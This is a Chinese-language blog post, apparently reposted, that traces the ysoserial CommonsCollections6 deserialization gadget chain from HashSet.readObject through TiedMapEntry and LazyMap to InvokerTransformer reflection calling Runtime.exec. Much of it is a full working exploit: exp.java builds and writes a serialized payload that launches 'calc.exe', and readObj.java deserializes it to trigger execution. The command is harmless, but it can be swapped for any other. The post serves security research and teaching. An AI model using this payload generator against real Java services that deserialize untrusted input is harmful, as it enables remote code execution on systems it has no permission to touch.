java反序列化-ysoserial-調試分析總結篇(6)


前言:

這篇記錄CommonsCollections6的調試,外層也是新的類,換成了hashset,即從hashset觸發其readObject(),yso給的調用鏈如下圖所示

利用鏈分析:

首先在hashset內部首先獲取器容量與負載因子等操作,然后創建hashmap,將ObjectinputStream中的對象放到hashmap中,即調用hashmap.put函數,可以看到此時實際上放進去的是一個TiedMapEntry,TiedMapEntry是cc5加入進去的一個Map類,其getvalue函數能夠獲取指定map的key,所以跟進

hashMap在放入元素時將會對當前的key計算一個hash值,即這里調用hashCode()函數,所以即調用TiedMapEntry的hashCode()函數,在hashCode函數中將調用該類的getvalue函數,

所以從此刻開始就和CommonsCollections5的后續利用鏈相同了,因為CC5是在該類的toString中調用getvalue

接着就跳到this.map.get(this.key),此時this.map即為lazymap.get

 

在lazymap.get中將調用this.factory.transform,而我們知道this.factory是可控的,這里依然為chaindTransform

 

接下來到了chainedTransformer的transform了,接下來的過程不再贅述,即為contantTransform+invokeTranform結合反射調用方法來進行rce

 

 yso構造分析:

這里還是老套路,先構造內部transform轉換鏈,然后構造lazymap,將chained鏈放進去,接着將lazymap放到TiedMapEntry中

接下來構造hashset實例

 

接着拿到該hashset的map屬性,該屬性就是個hashmap

接着拿到haspmap中的table屬性,在table中存儲節點對象,然后通過反射拿到節點數組,

  

接着令節點存儲Tiedmapentry放進該node節點的key

這里下斷點跟一下往haspset中放數據的過程也就是haspmap的存儲過程,比如這里exp中存第一個元素,就是新建一個node節點,即當前的key為"tr1ple"

手動構造exp:

 exp.java

package CommonsCollections6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Method;
import java.lang.Class;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class exp {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, IOException {
        //構造內部轉換鏈
        Transformer[] trans = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},new Object[]{"calc.exe"}
                        )
        };
        ChainedTransformer chain = new ChainedTransformer(trans);
        HashMap innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, chain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "tr1ple");


        //構造外部入口鏈
        HashSet newSet = new HashSet(1);
        newSet.add("tr1ple");
        Field innerSetMap  = HashSet.class.getDeclaredField("map");
        innerSetMap.setAccessible(true);
        //修改hashset內部的hashmap存儲
        HashMap setMap = (HashMap)innerSetMap.get(newSet);
        Field table = HashMap.class.getDeclaredField("table");
        table.setAccessible(true);
        //拿到存儲的數據
        Object[] obj =(Object[])table.get(setMap);
        Object node  = obj[0];

        System.out.println(node.getClass().getName());
        Method[] methods  = node.getClass().getMethods();
        /*
        for(int i=0;i<methods.length;i++){
            System.out.println(methods[i].getName());
        }
        */
        //拿到此時存到hashset中的node節點,key為要修改的點,這里需要修改它為真正的payload,即Tiedmapentry
        System.out.println(node.toString());
        
        Field key = node.getClass().getDeclaredField("key");
        key.setAccessible(true);
        key.set(node,entry);
        //hashset的hashmap中的node節點修改完值以后放進hashset
        Field finalMap = newSet.getClass().getDeclaredField("map");
        finalMap.setAccessible(true);
        finalMap.set(newSet,setMap);

        //序列化
        File file;
        file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections6.ser");
        ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream(file));
        objOut.writeObject(newSet);

    }
}

readObj.java

package CommonsCollections6;

import java.io.*;
import java.lang.Runtime;

public class readObj {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        File file;
        file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections6.ser");
        ObjectInputStream obj = new ObjectInputStream(new FileInputStream(file));
        obj.readObject();

    }
}

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM